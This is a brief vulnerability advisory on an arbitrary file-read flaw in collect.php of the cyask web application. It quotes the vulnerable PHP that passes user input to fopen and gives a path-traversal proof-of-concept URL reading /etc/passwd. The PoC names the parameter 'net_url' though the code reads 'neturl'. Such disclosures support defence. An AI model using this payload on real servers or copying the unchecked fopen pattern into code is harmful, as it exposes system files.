This vulnerability leads to that the attacker can read any file on your webserver when it installs cyask.

The $neturl variable in collect.php is short of enough check. When the attacker registers a new user, he can pass the user check and then submit any filename to $neturl so that collect.php can read it.

The vuln code like this:
$url=get_referer();
    $neturl=empty($_POST['neturl']) ? trim($_GET['neturl']) : trim($_POST['neturl']);

    $collect_url=empty($neturl) ? $url : $neturl;

    $contents = '';
    if($fid=@fopen($collect_url,"r"))
    {
        do
        {
            $data = fread($fid, 4096);
            if (strlen($data) == 0)
            {
                break;
            }
            $contents .= $data;
        }
        while(true);
        fclose($fid);
    }

POC:
http://XXX.com/collect.php?net_url=../../../etc/passwd